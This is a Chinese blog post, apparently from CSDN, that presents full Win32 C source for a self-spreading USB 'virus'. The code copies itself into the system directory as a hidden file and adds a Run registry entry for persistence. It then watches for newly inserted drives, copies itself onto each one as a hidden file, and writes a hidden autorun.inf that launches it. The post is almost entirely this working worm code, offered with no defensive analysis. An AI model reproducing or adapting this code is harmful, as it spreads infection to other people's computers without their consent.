U盘小病毒

U disk  virus

刺猬@http://blog.csdn.net/littlehedgehog

谨以此文送给刚哥，并预祝他在win32的道路上成功！ 

 

这篇代码还是去年写的了，本来这个学期还打算找时间把它加注下，呵呵，回头来看基本上都忘了。还是等到刚哥有时间加注吧，恐怕我以后很难再回到Windows平台了。 

 

// 谨以此文送给刚哥，并预祝他在win32的道路上成功！

#include  < windows.h >
#include  < dbt.h >
#include  < stdio.h >
#include  < shlwapi.h >

#pragma  comment(lib,"shlwapi.lib")

#define  TIMER 1

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

BOOL GetSystemPath();
BOOL GetSelfPath();

BOOL CopyToSystemPath();
BOOL SetRegAutoRun();
BOOL SetAttributes(TCHAR  * path);
VOID RunOnCreate(HWND);
char  DriveMark(ULONG); 
VOID OnDeviceChange(HWND, WPARAM, LPARAM);
VOID CopyToUDiskPath();
VOID SetDiscAutoRun();

TCHAR g_szExePath[MAX_PATH];
TCHAR g_szSysPath[MAX_PATH];
TCHAR g_szSysExePath[MAX_PATH];

TCHAR g_szUdisk[ 2 ];
TCHAR  * g_szExeName = " virus.exe " ;
TCHAR  * g_szAutoRun = " autorun.inf " ; 


int  WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdLine,  int  iCmdShow)
... {
    static TCHAR szAppName[] = TEXT ("HelloWin") ;        
    WNDCLASS     wndclass ;
    wndclass.style         = WS_EX_TRANSPARENT;
    wndclass.lpfnWndProc   = WndProc ;                 
    wndclass.cbClsExtra    = 0 ;
    wndclass.cbWndExtra    = 0 ;
    wndclass.hInstance     = hInstance ;            
    wndclass.hIcon         = LoadIcon (NULL, IDI_APPLICATION) ;    
    wndclass.hCursor       = LoadCursor (NULL, IDC_ARROW) ;        
    wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);    
    wndclass.lpszMenuName  = NULL ;
    wndclass.lpszClassName = szAppName;                
    if (!RegisterClass (&wndclass))
    ...{
        MessageBox (NULL, TEXT ("RegisterClass Fail!"), 
            szAppName, MB_ICONERROR) ;
        return 0 ;
    }
    
    HWND hwnd= CreateWindow (szAppName,        
        0,        
        WS_OVERLAPPEDWINDOW,        
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,            
        NULL);
    ShowWindow (hwnd, iCmdShow) ;
    UpdateWindow (hwnd);
    
    MSG          msg ;
    while (GetMessage (&msg, NULL, 0, 0))    
    ...{
        TranslateMessage (&msg) ;        
        DispatchMessage (&msg) ;    
    }
    return msg.wParam ;
}


LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
... {
    switch (message)
    ...{
    case WM_CREATE:
        RunOnCreate(hwnd);
        break;
    case WM_DEVICECHANGE:
        OnDeviceChange(hwnd,wParam,lParam);
        break;
    case WM_TIMER:
        SendMessage(hwnd,WM_DEVICECHANGE,0,0);
        break;
    case WM_DESTROY:
        KillTimer(hwnd,TIMER);
        CloseHandle(hwnd);
        PostQuitMessage (0) ;
        return 0 ;
    default:
        return DefWindowProc (hwnd, message, wParam, lParam);
    }
    return DefWindowProc (hwnd, message, wParam, lParam) ;
}


BOOL GetSystemPath()
... {
    return GetSystemDirectory(g_szSysPath,MAX_PATH);    
}

BOOL GetSelfPath()
... {
    return GetModuleFileName(NULL,g_szExePath,MAX_PATH);
}

BOOL CopyToSystemPath()
... {
    lstrcpy(g_szSysExePath,g_szSysPath);
    lstrcat(g_szSysExePath,"/");
    lstrcat(g_szSysExePath,g_szExeName);
    return CopyFile(g_szExePath,g_szSysExePath,FALSE);
}


BOOL SetRegAutoRun()
... {
    HKEY hkey;
    if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE/MICROSOFT/Windows/CurrentVersion/Run",&hkey)==ERROR_SUCCESS)
    ...{
        if (RegSetValueEx(hkey,g_szExeName,0,REG_SZ,(BYTE*)g_szSysExePath,lstrlen(g_szSysExePath))==ERROR_SUCCESS)
        ...{
            RegCloseKey(hkey);
            return TRUE;
        }
    }
    return FALSE;
}

BOOL SetAttributes(TCHAR  * path)
... {
    return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

VOID RunOnCreate(HWND hwnd)
... {
    GetSystemPath();
    GetSelfPath();
    if (g_szExePath[0]==g_szSysPath[0])    
    ...{
        SetTimer(hwnd,TIMER,8000,0);
    }
    else
    ...{
        CopyToSystemPath();
        SetAttributes(g_szSysExePath);
        SetRegAutoRun();
        WinExec(g_szSysExePath,SW_HIDE);
        SendMessage(hwnd,WM_DESTROY,0,0);
    }
}

VOID OnDeviceChange (HWND hwnd, WPARAM wParam, LPARAM lParam)
... {
    PDEV_BROADCAST_HDR pbdh=(PDEV_BROADCAST_HDR)lParam;
    switch(wParam)
    ...{
    case DBT_DEVICEARRIVAL:
        if (pbdh->dbch_devicetype==DBT_DEVTYP_VOLUME)
        ...{
            DEV_BROADCAST_VOLUME *pdbv=(DEV_BROADCAST_VOLUME *)pbdh;
            g_szUdisk[0]=DriveMark(pdbv->dbcv_unitmask);
            g_szUdisk[1]=':';
            CopyToUDiskPath();
            SetDiscAutoRun();
        }
        break;
    }
}



char  DriveMark(ULONG unitmask)
... {
    char i;
    for (i = 0; i < 26; ++i)
    ...{
        if (unitmask & 0x1)
            break;
        unitmask = unitmask >> 1;
    }    
    return (i + 'A');    
}

VOID CopyToUDiskPath()
... {
    TCHAR t_szUDiscExePath[MAX_PATH];
    lstrcpy(t_szUDiscExePath,g_szUdisk);
    lstrcat(t_szUDiscExePath,"/");
    lstrcat(t_szUDiscExePath,g_szExeName);
    CopyFile(g_szExePath,t_szUDiscExePath,FALSE);
    SetFileAttributes(t_szUDiscExePath,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

VOID SetDiscAutoRun()
... {
    FILE *fp;
    char t_buffer[MAX_PATH];
    char t_path[MAX_PATH];
    memset(t_buffer,'0',MAX_PATH);
    memset(t_path,'0',MAX_PATH);
    strcpy(t_buffer,"[autorun] open=");
    strcat(t_buffer,g_szExeName);
    strcat(t_buffer," shell/open=打开(&O) shell/open/Command=");
    strcat(t_buffer,g_szExeName);
    strcat(t_buffer," ");
    strcat(t_buffer,"shell/open/Default=1 shell/explore=资源管理器(&X) shell/explore/Command=");
    strcat(t_buffer,g_szExeName);
    strcpy(t_path,g_szUdisk);
    strcat(t_path,"/");
    strcat(t_path,"autorun.inf");
    if (PathFileExists(t_path))
    ...{
        SetFileAttributes(t_path,FILE_ATTRIBUTE_NORMAL);
        DeleteFile(t_path);
    }
    if (fp=fopen(t_path,"w+"))
    ...{
        fwrite(t_buffer,1,strlen(t_buffer)+1,fp);
    }
    fclose(fp);
    SetFileAttributes(t_path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY);    
}